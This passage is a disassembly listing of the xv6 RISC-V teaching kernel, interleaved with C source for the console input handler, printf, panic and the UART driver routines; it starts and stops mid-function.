80000362: 0006861b sext.w a2,a3 80000366: 0ad7a023 sw a3,160(a5) 8000036a: 07f77713 andi a4,a4,127 8000036e: 97ba add a5,a5,a4 80000370: 00978c23 sb s1,24(a5) if(c == '\n' || c == C('D') || cons.e == cons.r+INPUT_BUF){ 80000374: 47a9 li a5,10 80000376: 0cf48563 beq s1,a5,80000440 <consoleintr+0x178> 8000037a: 4791 li a5,4 8000037c: 0cf48263 beq s1,a5,80000440 <consoleintr+0x178> 80000380: 00011797 auipc a5,0x11 80000384: 5487a783 lw a5,1352(a5) # 800118c8 <cons+0x98> 80000388: 0807879b addiw a5,a5,128 8000038c: f6f61ce3 bne a2,a5,80000304 <consoleintr+0x3c> cons.buf[cons.e++ % INPUT_BUF] = c; 80000390: 863e mv a2,a5 80000392: a07d j 80000440 <consoleintr+0x178> while(cons.e != cons.w && 80000394: 00011717 auipc a4,0x11 80000398: 49c70713 addi a4,a4,1180 # 80011830 <cons> 8000039c: 0a072783 lw a5,160(a4) 800003a0: 09c72703 lw a4,156(a4) cons.buf[(cons.e-1) % INPUT_BUF] != '\n'){ 800003a4: 00011497 auipc s1,0x11 800003a8: 48c48493 addi s1,s1,1164 # 80011830 <cons> while(cons.e != cons.w && 800003ac: 4929 li s2,10 800003ae: f4f70be3 beq a4,a5,80000304 <consoleintr+0x3c> cons.buf[(cons.e-1) % INPUT_BUF] != '\n'){ 800003b2: 37fd addiw a5,a5,-1 800003b4: 07f7f713 andi a4,a5,127 800003b8: 9726 add a4,a4,s1 while(cons.e != cons.w && 800003ba: 01874703 lbu a4,24(a4) 800003be: f52703e3 beq a4,s2,80000304 <consoleintr+0x3c> cons.e--; 800003c2: 0af4a023 sw a5,160(s1) consputc(BACKSPACE); 800003c6: 10000513 li a0,256 800003ca: 00000097 auipc ra,0x0 800003ce: ebc080e7 jalr -324(ra) # 80000286 <consputc> while(cons.e != cons.w && 800003d2: 0a04a783 lw a5,160(s1) 800003d6: 09c4a703 lw a4,156(s1) 800003da: fcf71ce3 bne a4,a5,800003b2 <consoleintr+0xea> 800003de: b71d j 80000304 <consoleintr+0x3c> if(cons.e != cons.w){ 800003e0: 00011717 auipc a4,0x11 800003e4: 45070713 addi a4,a4,1104 # 80011830 <cons> 800003e8: 0a072783 lw a5,160(a4) 800003ec: 09c72703 lw a4,156(a4) 800003f0: f0f70ae3 beq a4,a5,80000304 <consoleintr+0x3c> cons.e--; 800003f4: 37fd addiw a5,a5,-1 800003f6: 00011717 auipc a4,0x11 800003fa: 4cf72d23 sw a5,1242(a4) # 800118d0 <cons+0xa0> consputc(BACKSPACE); 800003fe: 10000513 li a0,256 80000402: 00000097 auipc ra,0x0 80000406: e84080e7 jalr -380(ra) # 80000286 <consputc> 8000040a: bded j 80000304 <consoleintr+0x3c> if(c != 0 && cons.e-cons.r < INPUT_BUF){ 8000040c: ee048ce3 beqz s1,80000304 <consoleintr+0x3c> 80000410: bf21 j 80000328 <consoleintr+0x60> consputc(c); 80000412: 4529 li a0,10 80000414: 00000097 auipc ra,0x0 80000418: e72080e7 jalr -398(ra) # 80000286 <consputc> cons.buf[cons.e++ % INPUT_BUF] = c; 8000041c: 00011797 auipc a5,0x11 80000420: 41478793 addi a5,a5,1044 # 80011830 <cons> 80000424: 0a07a703 lw a4,160(a5) 80000428: 0017069b addiw a3,a4,1 8000042c: 0006861b sext.w a2,a3 80000430: 0ad7a023 sw a3,160(a5) 80000434: 07f77713 andi a4,a4,127 80000438: 97ba add a5,a5,a4 8000043a: 4729 li a4,10 8000043c: 00e78c23 sb a4,24(a5) cons.w = cons.e; 80000440: 00011797 auipc a5,0x11 80000444: 48c7a623 sw a2,1164(a5) # 800118cc <cons+0x9c> wakeup(&cons.r); 80000448: 00011517 auipc a0,0x11 8000044c: 48050513 addi a0,a0,1152 # 800118c8 <cons+0x98> 80000450: 00002097 auipc ra,0x2 80000454: f20080e7 jalr -224(ra) # 80002370 <wakeup> 80000458: b575 j 80000304 <consoleintr+0x3c> 000000008000045a <consoleinit>: void consoleinit(void) { 8000045a: 1141 addi sp,sp,-16 8000045c: e406 sd ra,8(sp) 8000045e: e022 sd s0,0(sp) 80000460: 0800 addi s0,sp,16 initlock(&cons.lock, "cons"); 80000462: 00008597 auipc a1,0x8 80000466: bae58593 addi a1,a1,-1106 # 80008010 <etext+0x10> 8000046a: 00011517 auipc a0,0x11 8000046e: 3c650513 addi a0,a0,966 # 80011830 <cons> 80000472: 00000097 auipc ra,0x0 80000476: 70e080e7 jalr 1806(ra) # 80000b80 <initlock> uartinit(); 8000047a: 00000097 auipc ra,0x0 8000047e: 330080e7 jalr 816(ra) # 800007aa <uartinit> // connect read and write system calls // to consoleread and consolewrite. devsw[CONSOLE].read = consoleread; 80000482: 00021797 auipc a5,0x21 80000486: 52e78793 addi a5,a5,1326 # 800219b0 <devsw> 8000048a: 00000717 auipc a4,0x0 8000048e: ce470713 addi a4,a4,-796 # 8000016e <consoleread> 80000492: eb98 sd a4,16(a5) devsw[CONSOLE].write = consolewrite; 80000494: 00000717 auipc a4,0x0 80000498: c5870713 addi a4,a4,-936 # 800000ec <consolewrite> 8000049c: ef98 sd a4,24(a5) } 8000049e: 60a2 ld ra,8(sp) 800004a0: 6402 ld s0,0(sp) 800004a2: 0141 addi sp,sp,16 800004a4: 8082 ret 00000000800004a6 <printint>: static char digits[] = "0123456789abcdef"; static void printint(int xx, int base, int sign) { 800004a6: 7179 addi sp,sp,-48 800004a8: f406 sd ra,40(sp) 800004aa: f022 sd s0,32(sp) 800004ac: ec26 sd s1,24(sp) 800004ae: e84a sd s2,16(sp) 800004b0: 1800 addi s0,sp,48 char buf[16]; int i; uint x; if(sign && (sign = xx < 0)) 800004b2: c219 beqz a2,800004b8 <printint+0x12> 800004b4: 08054663 bltz a0,80000540 <printint+0x9a> x = -xx; else x = xx; 800004b8: 2501 sext.w a0,a0 800004ba: 4881 li a7,0 800004bc: fd040693 addi a3,s0,-48 i = 0; 800004c0: 4701 li a4,0 do { buf[i++] = digits[x % base]; 800004c2: 2581 sext.w a1,a1 800004c4: 00008617 auipc a2,0x8 800004c8: b7c60613 addi a2,a2,-1156 # 80008040 <digits> 800004cc: 883a mv a6,a4 800004ce: 2705 addiw a4,a4,1 800004d0: 02b577bb remuw a5,a0,a1 800004d4: 1782 slli a5,a5,0x20 800004d6: 9381 srli a5,a5,0x20 800004d8: 97b2 add a5,a5,a2 800004da: 0007c783 lbu a5,0(a5) 800004de: 00f68023 sb a5,0(a3) } while((x /= base) != 0); 800004e2: 0005079b sext.w a5,a0 800004e6: 02b5553b divuw a0,a0,a1 800004ea: 0685 addi a3,a3,1 800004ec: feb7f0e3 bgeu a5,a1,800004cc <printint+0x26> if(sign) 800004f0: 00088b63 beqz a7,80000506 <printint+0x60> buf[i++] = '-'; 800004f4: fe040793 addi a5,s0,-32 800004f8: 973e add a4,a4,a5 800004fa: 02d00793 li a5,45 800004fe: fef70823 sb a5,-16(a4) 80000502: 0028071b addiw a4,a6,2 while(--i >= 0) 80000506: 02e05763 blez a4,80000534 <printint+0x8e> 8000050a: fd040793 addi a5,s0,-48 8000050e: 00e784b3 add s1,a5,a4 80000512: fff78913 addi s2,a5,-1 80000516: 993a add s2,s2,a4 80000518: 377d addiw a4,a4,-1 8000051a: 1702 slli a4,a4,0x20 8000051c: 9301 srli a4,a4,0x20 8000051e: 40e90933 sub s2,s2,a4 consputc(buf[i]); 80000522: fff4c503 lbu a0,-1(s1) 80000526: 00000097 auipc ra,0x0 8000052a: d60080e7 jalr -672(ra) # 80000286 <consputc> while(--i >= 0) 8000052e: 14fd addi s1,s1,-1 80000530: ff2499e3 bne s1,s2,80000522 <printint+0x7c> } 80000534: 70a2 ld ra,40(sp) 80000536: 7402 ld s0,32(sp) 80000538: 64e2 ld s1,24(sp) 8000053a: 6942 ld s2,16(sp) 8000053c: 6145 addi sp,sp,48 8000053e: 8082 ret x = -xx; 80000540: 40a0053b negw a0,a0 if(sign && (sign = xx < 0)) 80000544: 4885 li a7,1 x = -xx; 80000546: bf9d j 800004bc <printint+0x16> 0000000080000548 <panic>: release(&pr.lock); } void panic(char *s) { 80000548: 1101 addi sp,sp,-32 8000054a: ec06 sd ra,24(sp) 8000054c: e822 sd s0,16(sp) 8000054e: e426 sd s1,8(sp) 80000550: 1000 addi s0,sp,32 80000552: 84aa mv s1,a0 pr.locking = 0; 80000554: 00011797 auipc a5,0x11 80000558: 3807ae23 sw zero,924(a5) # 800118f0 <pr+0x18> printf("panic: "); 8000055c: 00008517 auipc a0,0x8 80000560: abc50513 addi a0,a0,-1348 # 80008018 <etext+0x18> 80000564: 00000097 auipc ra,0x0 80000568: 02e080e7 jalr 46(ra) # 80000592 <printf> printf(s); 8000056c: 8526 mv a0,s1 8000056e: 00000097 auipc ra,0x0 80000572: 024080e7 jalr 36(ra) # 80000592 <printf> printf("\n"); 80000576: 00008517 auipc a0,0x8 8000057a: b5250513 addi a0,a0,-1198 # 800080c8 <digits+0x88> 8000057e: 00000097 auipc ra,0x0 80000582: 014080e7 jalr 20(ra) # 80000592 <printf> panicked = 1; // freeze uart output from other CPUs 80000586: 4785 li a5,1 80000588: 00009717 auipc a4,0x9 8000058c: a6f72c23 sw a5,-1416(a4) # 80009000 <panicked> for(;;) 80000590: a001 j 80000590 <panic+0x48> 0000000080000592 <printf>: { 80000592: 7131 addi sp,sp,-192 80000594: fc86 sd ra,120(sp) 80000596: f8a2 sd s0,112(sp) 80000598: f4a6 sd s1,104(sp) 8000059a: f0ca sd s2,96(sp) 8000059c: ecce sd s3,88(sp) 8000059e: e8d2 sd s4,80(sp) 800005a0: e4d6 sd s5,72(sp) 800005a2: e0da sd s6,64(sp) 800005a4: fc5e sd s7,56(sp) 800005a6: f862 sd s8,48(sp) 800005a8: f466 sd s9,40(sp) 800005aa: f06a sd s10,32(sp) 800005ac: ec6e sd s11,24(sp) 800005ae: 0100 addi s0,sp,128 800005b0: 8a2a mv s4,a0 800005b2: e40c sd a1,8(s0) 800005b4: e810 sd a2,16(s0) 800005b6: ec14 sd a3,24(s0) 800005b8: f018 sd a4,32(s0) 800005ba: f41c sd a5,40(s0) 800005bc: 03043823 sd a6,48(s0) 800005c0: 03143c23 sd a7,56(s0) locking = pr.locking; 800005c4: 00011d97 auipc s11,0x11 800005c8: 32cdad83 lw s11,812(s11) # 800118f0 <pr+0x18> if(locking) 800005cc: 020d9b63 bnez s11,80000602 <printf+0x70> if (fmt == 0) 800005d0: 040a0263 beqz s4,80000614 <printf+0x82> va_start(ap, fmt); 800005d4: 00840793 addi a5,s0,8 800005d8: f8f43423 sd a5,-120(s0) for(i = 0; (c = fmt[i] & 0xff) != 0; i++){ 800005dc: 000a4503 lbu a0,0(s4) 800005e0: 16050263 beqz a0,80000744 <printf+0x1b2> 800005e4: 4481 li s1,0 if(c != '%'){ 800005e6: 02500a93 li s5,37 switch(c){ 800005ea: 07000b13 li s6,112 consputc('x'); 800005ee: 4d41 li s10,16 consputc(digits[x >> (sizeof(uint64) * 8 - 4)]); 800005f0: 00008b97 auipc s7,0x8 800005f4: a50b8b93 addi s7,s7,-1456 # 80008040 <digits> switch(c){ 800005f8: 07300c93 li s9,115 800005fc: 06400c13 li s8,100 80000600: a82d j 8000063a <printf+0xa8> acquire(&pr.lock); 80000602: 00011517 auipc a0,0x11 80000606: 2d650513 addi a0,a0,726 # 800118d8 <pr> 8000060a: 00000097 auipc ra,0x0 8000060e: 606080e7 jalr 1542(ra) # 80000c10 <acquire> 80000612: bf7d j 800005d0 <printf+0x3e> panic("null fmt"); 80000614: 00008517 auipc a0,0x8 80000618: a1450513 addi a0,a0,-1516 # 80008028 <etext+0x28> 8000061c: 00000097 auipc ra,0x0 80000620: f2c080e7 jalr -212(ra) # 80000548 <panic> consputc(c); 80000624: 00000097 auipc ra,0x0 80000628: c62080e7 jalr -926(ra) # 80000286 <consputc> for(i = 0; (c = fmt[i] & 0xff) != 0; i++){ 8000062c: 2485 addiw s1,s1,1 8000062e: 009a07b3 add a5,s4,s1 80000632: 0007c503 lbu a0,0(a5) 80000636: 10050763 beqz a0,80000744 <printf+0x1b2> if(c != '%'){ 8000063a: ff5515e3 bne a0,s5,80000624 <printf+0x92> c = fmt[++i] & 0xff; 8000063e: 2485 addiw s1,s1,1 80000640: 009a07b3 add a5,s4,s1 80000644: 0007c783 lbu a5,0(a5) 80000648: 0007891b sext.w s2,a5 if(c == 0) 8000064c: cfe5 beqz a5,80000744 <printf+0x1b2> switch(c){ 8000064e: 05678a63 beq a5,s6,800006a2 <printf+0x110> 80000652: 02fb7663 bgeu s6,a5,8000067e <printf+0xec> 80000656: 09978963 beq a5,s9,800006e8 <printf+0x156> 8000065a: 07800713 li a4,120 8000065e: 0ce79863 bne a5,a4,8000072e <printf+0x19c> printint(va_arg(ap, int), 16, 1); 80000662: f8843783 ld a5,-120(s0) 80000666: 00878713 addi a4,a5,8 8000066a: f8e43423 sd a4,-120(s0) 8000066e: 4605 li a2,1 80000670: 85ea mv a1,s10 80000672: 4388 lw a0,0(a5) 80000674: 00000097 auipc ra,0x0 80000678: e32080e7 jalr -462(ra) # 800004a6 <printint> break; 8000067c: bf45 j 8000062c <printf+0x9a> switch(c){ 8000067e: 0b578263 beq a5,s5,80000722 <printf+0x190> 80000682: 0b879663 bne a5,s8,8000072e <printf+0x19c> printint(va_arg(ap, int), 10, 1); 80000686: f8843783 ld a5,-120(s0) 8000068a: 00878713 addi a4,a5,8 8000068e: f8e43423 sd a4,-120(s0) 80000692: 4605 li a2,1 80000694: 45a9 li a1,10 80000696: 4388 lw a0,0(a5) 80000698: 00000097 auipc ra,0x0 8000069c: e0e080e7 jalr -498(ra) # 800004a6 <printint> break; 800006a0: b771 j 8000062c <printf+0x9a> printptr(va_arg(ap, uint64)); 800006a2: f8843783 ld a5,-120(s0) 800006a6: 00878713 addi a4,a5,8 800006aa: f8e43423 sd a4,-120(s0) 800006ae: 0007b983 ld s3,0(a5) consputc('0'); 800006b2: 03000513 li a0,48 800006b6: 00000097 auipc ra,0x0 800006ba: bd0080e7 jalr -1072(ra) # 80000286 <consputc> consputc('x'); 800006be: 07800513 li a0,120 800006c2: 00000097 auipc ra,0x0 800006c6: bc4080e7 jalr -1084(ra) # 80000286 <consputc> 800006ca: 896a mv s2,s10 consputc(digits[x >> (sizeof(uint64) * 8 - 4)]); 800006cc: 03c9d793 srli a5,s3,0x3c 800006d0: 97de add a5,a5,s7 800006d2: 0007c503 lbu a0,0(a5) 800006d6: 00000097 auipc ra,0x0 800006da: bb0080e7 jalr -1104(ra) # 80000286 <consputc> for (i = 0; i < (sizeof(uint64) * 2); i++, x <<= 4) 800006de: 0992 slli s3,s3,0x4 800006e0: 397d addiw s2,s2,-1 800006e2: fe0915e3 bnez s2,800006cc <printf+0x13a> 800006e6: b799 j 8000062c <printf+0x9a> if((s = va_arg(ap, char*)) == 0) 800006e8: f8843783 ld a5,-120(s0) 800006ec: 00878713 addi a4,a5,8 800006f0: f8e43423 sd a4,-120(s0) 800006f4: 0007b903 ld s2,0(a5) 800006f8: 00090e63 beqz s2,80000714 <printf+0x182> for(; *s; s++) 800006fc: 00094503 lbu a0,0(s2) 80000700: d515 beqz a0,8000062c <printf+0x9a> consputc(*s); 80000702: 00000097 auipc ra,0x0 80000706: b84080e7 jalr -1148(ra) # 80000286 <consputc> for(; *s; s++) 8000070a: 0905 addi s2,s2,1 8000070c: 00094503 lbu a0,0(s2) 80000710: f96d bnez a0,80000702 <printf+0x170> 80000712: bf29 j 8000062c <printf+0x9a> s = "(null)"; 80000714: 00008917 auipc s2,0x8 80000718: 90c90913 addi s2,s2,-1780 # 80008020 <etext+0x20> for(; *s; s++) 8000071c: 02800513 li a0,40 80000720: b7cd j 80000702 <printf+0x170> consputc('%'); 80000722: 8556 mv a0,s5 80000724: 00000097 auipc ra,0x0 80000728: b62080e7 jalr -1182(ra) # 80000286 <consputc> break; 8000072c: b701 j 8000062c <printf+0x9a> consputc('%'); 8000072e: 8556 mv a0,s5 80000730: 00000097 auipc ra,0x0 80000734: b56080e7 jalr -1194(ra) # 80000286 <consputc> consputc(c); 80000738: 854a mv a0,s2 8000073a: 00000097 auipc ra,0x0 8000073e: b4c080e7 jalr -1204(ra) # 80000286 <consputc> break; 80000742: b5ed j 8000062c <printf+0x9a> if(locking) 80000744: 020d9163 bnez s11,80000766 <printf+0x1d4> } 80000748: 70e6 ld ra,120(sp) 8000074a: 7446 ld s0,112(sp) 8000074c: 74a6 ld s1,104(sp) 8000074e: 7906 ld s2,96(sp) 80000750: 69e6 ld s3,88(sp) 80000752: 6a46 ld s4,80(sp) 80000754: 6aa6 ld s5,72(sp) 80000756: 6b06 ld s6,64(sp) 80000758: 7be2 ld s7,56(sp) 8000075a: 7c42 ld s8,48(sp) 8000075c: 7ca2 ld s9,40(sp) 8000075e: 7d02 ld s10,32(sp) 80000760: 6de2 ld s11,24(sp) 80000762: 6129 addi sp,sp,192 80000764: 8082 ret release(&pr.lock); 80000766: 00011517 auipc a0,0x11 8000076a: 17250513 addi a0,a0,370 # 800118d8 <pr> 8000076e: 00000097 auipc ra,0x0 80000772: 556080e7 jalr 1366(ra) # 80000cc4 <release> } 80000776: bfc9 j 80000748 <printf+0x1b6> 0000000080000778 <printfinit>: ; } void printfinit(void) { 80000778: 1101 addi sp,sp,-32 8000077a: ec06 sd ra,24(sp) 8000077c: e822 sd s0,16(sp) 8000077e: e426 sd s1,8(sp) 80000780: 1000 addi s0,sp,32 initlock(&pr.lock, "pr"); 80000782: 00011497 auipc s1,0x11 80000786: 15648493 addi s1,s1,342 # 800118d8 <pr> 8000078a: 00008597 auipc a1,0x8 8000078e: 8ae58593 addi a1,a1,-1874 # 80008038 <etext+0x38> 80000792: 8526 mv a0,s1 80000794: 00000097 auipc ra,0x0 80000798: 3ec080e7 jalr 1004(ra) # 80000b80 <initlock> pr.locking = 1; 8000079c: 4785 li a5,1 8000079e: cc9c sw a5,24(s1) } 800007a0: 60e2 ld ra,24(sp) 800007a2: 6442 ld s0,16(sp) 800007a4: 64a2 ld s1,8(sp) 800007a6: 6105 addi sp,sp,32 800007a8: 8082 ret 00000000800007aa <uartinit>: void uartstart(); void uartinit(void) { 800007aa: 1141 addi sp,sp,-16 800007ac: e406 sd ra,8(sp) 800007ae: e022 sd s0,0(sp) 800007b0: 0800 addi s0,sp,16 // disable interrupts. WriteReg(IER, 0x00); 800007b2: 100007b7 lui a5,0x10000 800007b6: 000780a3 sb zero,1(a5) # 10000001 <_entry-0x6fffffff> // special mode to set baud rate. WriteReg(LCR, LCR_BAUD_LATCH); 800007ba: f8000713 li a4,-128 800007be: 00e781a3 sb a4,3(a5) // LSB for baud rate of 38.4K. WriteReg(0, 0x03); 800007c2: 470d li a4,3 800007c4: 00e78023 sb a4,0(a5) // MSB for baud rate of 38.4K. WriteReg(1, 0x00); 800007c8: 000780a3 sb zero,1(a5) // leave set-baud mode, // and set word length to 8 bits, no parity. WriteReg(LCR, LCR_EIGHT_BITS); 800007cc: 00e781a3 sb a4,3(a5) // reset and enable FIFOs. WriteReg(FCR, FCR_FIFO_ENABLE | FCR_FIFO_CLEAR); 800007d0: 469d li a3,7 800007d2: 00d78123 sb a3,2(a5) // enable transmit and receive interrupts. WriteReg(IER, IER_TX_ENABLE | IER_RX_ENABLE); 800007d6: 00e780a3 sb a4,1(a5) initlock(&uart_tx_lock, "uart"); 800007da: 00008597 auipc a1,0x8 800007de: 87e58593 addi a1,a1,-1922 # 80008058 <digits+0x18> 800007e2: 00011517 auipc a0,0x11 800007e6: 11650513 addi a0,a0,278 # 800118f8 <uart_tx_lock> 800007ea: 00000097 auipc ra,0x0 800007ee: 396080e7 jalr 918(ra) # 80000b80 <initlock> } 800007f2: 60a2 ld ra,8(sp) 800007f4: 6402 ld s0,0(sp) 800007f6: 0141 addi sp,sp,16 800007f8: 8082 ret 00000000800007fa <uartputc_sync>: // use interrupts, for use by kernel printf() and // to echo characters. it spins waiting for the uart's // output register to be empty. void uartputc_sync(int c) { 800007fa: 1101 addi sp,sp,-32 800007fc: ec06 sd ra,24(sp) 800007fe: e822 sd s0,16(sp) 80000800: e426 sd s1,8(sp) 80000802: 1000 addi s0,sp,32 80000804: 84aa mv s1,a0 push_off(); 80000806: 00000097 auipc ra,0x0 8000080a: 3be080e7 jalr 958(ra) # 80000bc4 <push_off> if(panicked){ 8000080e: 00008797 auipc a5,0x8 80000812: 7f27a783 lw a5,2034(a5) # 80009000 <panicked> for(;;) ; } // wait for Transmit Holding Empty to be set in LSR. while((ReadReg(LSR) & LSR_TX_IDLE) == 0) 80000816: 10000737 lui a4,0x10000 if(panicked){ 8000081a: c391 beqz a5,8000081e <uartputc_sync+0x24> for(;;) 8000081c: a001 j 8000081c <uartputc_sync+0x22> while((ReadReg(LSR) & LSR_TX_IDLE) == 0) 8000081e: 00574783 lbu a5,5(a4) # 10000005 <_entry-0x6ffffffb> 80000822: 0ff7f793 andi a5,a5,255 80000826: 0207f793 andi a5,a5,32 8000082a: dbf5 beqz a5,8000081e <uartputc_sync+0x24> ; WriteReg(THR, c); 8000082c: 0ff4f793 andi a5,s1,255 80000830: 10000737 lui a4,0x10000 80000834: 00f70023 sb a5,0(a4) # 10000000 <_entry-0x70000000> pop_off(); 80000838: 00000097 auipc ra,0x0 8000083c: 42c080e7 jalr 1068(ra) # 80000c64 <pop_off> } 80000840: 60e2 ld ra,24(sp) 80000842: 6442 ld s0,16(sp) 80000844: 64a2 ld s1,8(sp) 80000846: 6105 addi sp,sp,32 80000848: 8082 ret 000000008000084a <uartstart>: // called from both the top- and bottom-half. void uartstart() { while(1){ if(uart_tx_w == uart_tx_r){ 8000084a: 00008797 auipc a5,0x8 8000084e: 7ba7a783 lw a5,1978(a5) # 80009004 <uart_tx_r> 80000852: 00008717 auipc a4,0x8 80000856: 7b672703 lw a4,1974(a4) # 80009008 <uart_tx_w> 8000085a: 08f70263 beq a4,a5,800008de <uartstart+0x94> { 8000085e: 7139 addi sp,sp,-64 80000860: fc06 sd ra,56(sp) 80000862: f822 sd s0,48(sp) 80000864: f426 sd s1,40(sp) 80000866: f04a sd s2,32(sp) 80000868: ec4e sd s3,24(sp) 8000086a: e852 sd s4,16(sp) 8000086c: e456 sd s5,8(sp) 8000086e: 0080 addi s0,sp,64 // transmit buffer is empty. return; } if((ReadReg(LSR) & LSR_TX_IDLE) == 0){ 80000870: 10000937 lui s2,0x10000 // so we cannot give it another byte. // it will interrupt when it's ready for a new byte. return; } int c = uart_tx_buf[uart_tx_r]; 80000874: 00011a17 auipc s4,0x11 80000878: 084a0a13 addi s4,s4,132 # 800118f8 <uart_tx_lock> uart_tx_r = (uart_tx_r + 1) % UART_TX_BUF_SIZE; 8000087c: 00008497 auipc s1,0x8 80000880: 78848493 addi s1,s1,1928 # 80009004 <uart_tx_r> if(uart_tx_w == uart_tx_r){ 80000884: 00008997 auipc s3,0x8 80000888: 78498993 addi s3,s3,1924 # 80009008 <uart_tx_w> if((ReadReg(LSR) & LSR_TX_IDLE) == 0){ 8000088c: 00594703 lbu a4,5(s2) # 10000005 <_entry-0x6ffffffb> 80000890: 0ff77713 andi a4,a4,255 80000894: 02077713 andi a4,a4,32 80000898: cb15 beqz a4,800008cc <uartstart+0x82> int c = uart_tx_buf[uart_tx_r]; 8000089a: 00fa0733 add a4,s4,a5 8000089e: 01874a83 lbu s5,24(a4) uart_tx_r = (uart_tx_r + 1) % UART_TX_BUF_SIZE; 800008a2: 2785 addiw a5,a5,1 800008a4: 41f7d71b sraiw a4,a5,0x1f 800008a8: 01b7571b srliw a4,a4,0x1b 800008ac: 9fb9 addw a5,a5,a4 800008ae: 8bfd andi a5,a5,31 800008b0: 9f99 subw a5,a5,a4 800008b2: c09c sw a5,0(s1) // maybe uartputc() is waiting for space in the buffer. wakeup(&uart_tx_r); 800008b4: 8526 mv a0,s1 800008b6: 00002097 auipc ra,0x2 800008ba: aba080e7 jalr -1350(ra) # 80002370 <wakeup> WriteReg(THR, c); 800008be: 01590023 sb s5,0(s2) if(uart_tx_w == uart_tx_r){ 800008c2: 409c lw a5,0(s1) 800008c4: 0009a703 lw a4,0(s3) 800008c8: fcf712e3 bne a4,a5,8000088c <uartstart+0x42> } } 800008cc: 70e2 ld ra,56(sp) 800008ce: 7442 ld s0,48(sp) 800008d0: 74a2 ld s1,40(sp) 800008d2: 7902 ld s2,32(sp) 800008d4: 69e2 ld s3,24(sp) 800008d6: 6a42 ld s4,16(sp) 800008d8: 6aa2 ld s5,8(sp) 800008da: 6121 addi sp,sp,64 800008dc: 8082 ret 800008de: 8082 ret 00000000800008e0 <uartputc>: { 800008e0: 7179 addi sp,sp,-48 800008e2: f406 sd ra,40(sp) 800008e4: f022 sd s0,32(sp) 800008e6: ec26 sd s1,24(sp) 800008e8: e84a sd s2,16(sp) 800008ea: e44e sd s3,8(sp) 800008ec: e052 sd s4,0(sp) 800008ee: 1800 addi s0,sp,48 800008f0: 89aa mv s3,a0 acquire(&uart_tx_lock); 800008f2: 00011517 auipc a0,0x11 800008f6: 00650513 addi a0,a0,6 # 800118f8 <uart_tx_lock> 800008fa: 00000097 auipc ra,0x0 800008fe: 316080e7 jalr 790(ra) # 80000c10 <acquire> if(panicked){ 80000902: 00008797 auipc a5,0x8 80000906: 6fe7a783 lw a5,1790(a5) # 80009000 <panicked> 8000090a: c391 beqz a5,8000090e <uartputc+0x2e> for(;;) 8000090c: a001 j 8000090c <uartputc+0x2c> if(((uart_tx_w + 1) % UART_TX_BUF_SIZE) == uart_tx_r){ 8000090e: 00008717 auipc a4,0x8 80000912: 6fa72703 lw a4,1786(a4) # 80009008 <uart_tx_w> 80000916: 0017079b addiw a5,a4,1 8000091a: 41f7d69b sraiw a3,a5,0x1f 8000091e: 01b6d69b srliw a3,a3,0x1b 80000922: 9fb5 addw a5,a5,a3 80000924: 8bfd andi a5,a5,31 80000926: 9f95 subw a5,a5,a3 80000928: 00008697 auipc a3,0x8 8000092c: 6dc6a683 lw a3,1756(a3) # 80009004 <uart_tx_r> 80000930: 04f69263 bne a3,a5,80000974 <uartputc+0x94> sleep(&uart_tx_r, &uart_tx_lock); 80000934: 00011a17 auipc s4,0x11 80000938: fc4a0a13 addi s4,s4,-60 # 800118f8 <uart_tx_lock> 8000093c: 00008497 auipc s1,0x8 80000940: 6c848493 addi s1,s1,1736 # 80009004 <uart_tx_r> if(((uart_tx_w + 1) % UART_TX_BUF_SIZE) == uart_tx_r){ 80000944: 00008917 auipc s2,0x8 80000948: 6c490913 addi s2,s2,1732 # 80009008 <uart_tx_w> sleep(&uart_tx_r, &uart_tx_lock); 8000094c: 85d2 mv a1,s4 8000094e: 8526 mv a0,s1 80000950: 00002097 auipc ra,0x2 80000954: 89a080e7 jalr -1894(ra) # 800021ea <sleep> if(((uart_tx_w + 1) % UART_TX_BUF_SIZE) == uart_tx_r){ 80000958: 00092703 lw a4,0(s2) 8000095c: 0017079b addiw a5,a4,1 80000960: 41f7d69b sraiw a3,a5,0x1f 80000964: 01b6d69b srliw a3,a3,0x1b 80000968: 9fb5 addw a5,a5,a3 8000096a: 8bfd andi a5,a5,31 8000096c: 9f95 subw a5,a5,a3 8000096e: 4094 lw a3,0(s1) 80000970: fcf68ee3 beq a3,a5,8000094c <uartputc+0x6c> uart_tx_buf[uart_tx_w] = c; 80000974: 00011497 auipc s1,0x11 80000978: f8448493 addi s1,s1,-124 # 800118f8 <uart_tx_lock> 8000097c: 9726 add a4,a4,s1 8000097e: 01370c23 sb s3,24(a4) uart_tx_w = (uart_tx_w + 1) % UART_TX_BUF_SIZE; 80000982: 00008717 auipc a4,0x8 80000986: 68f72323 sw a5,1670(a4) # 80009008 <uart_tx_w> uartstart(); 8000098a: 00000097 auipc ra,0x0 8000098e: ec0080e7 jalr -320(ra) # 8000084a <uartstart> release(&uart_tx_lock); 80000992: 8526 mv a0,s1 80000994: 00000097 auipc ra,0x0 80000998: 330080e7 jalr 816(ra) # 80000cc4 <release> } 8000099c: 70a2 ld ra,40(sp) 8000099e: 7402 ld s0,32(sp) 800009a0: 64e2 ld s1,24(sp) 800009a2: 6942 ld s2,16(sp) 800009a4: 69a2 ld s3,8(sp) 800009a6: 6a02 ld s4,0(sp) 800009a8: 6145 addi sp,sp,48 800009aa: 8082 ret 00000000800009ac <uartgetc>: // read one input character from the UART. // return -1 if none is waiting. int uartgetc(void) { 800009ac: 1141 addi sp,sp,-16 800009ae: e422 sd s0,8(sp) 800009b0: 0800 addi s0,sp,16 if(ReadReg(LSR) & 0x01){ 800009b2: 100007b7 lui a5,0x10000 800009b6: 0057c783 lbu a5,5(a5) # 10000005 <_entry-0x6ffffffb> 800009ba: 8b85 andi a5,a5,1 800009bc: cb91 beqz a5,800009d0 <uartgetc+0x24> // input data is ready. return ReadReg(RHR); 800009be: 100007b7 lui a5,0x10000 800009c2: 0007c503 lbu a0,0(a5) # 10000000 <_entry-0x70000000> 800009c6: 0ff57513 andi a0,a0,255 } else { return -1; } } 800009ca: 6422 ld s0,8(sp) 800009cc: 0141 addi sp,sp,16 800009ce: 8082 ret return -1; 800009d0: 557d li a0,-1 800009d2: bfe5 j 800009ca <uartgetc+0x1e> 00000000800009d4 <uartintr>: // handle a uart interrupt, raised because input has // arrived, or the uart is ready for more output, or // both. called from trap.c. void uartintr(void) { 800009d4: 1101 addi sp,sp,-32 800009d6: ec06 sd ra,24(sp) 800009d8: e822 sd s0,16(sp) 800009da: e426 sd s1,8(sp) 800009dc: 1000 addi s0,sp,32 // read and process incoming characters. while(1){ int c = uartgetc(); if(c == -1) 800009de: 54fd li s1,-1 int c = uartgetc(); 800009e0: 00000097 auipc ra,0x0 800009e4: fcc080e7 jalr 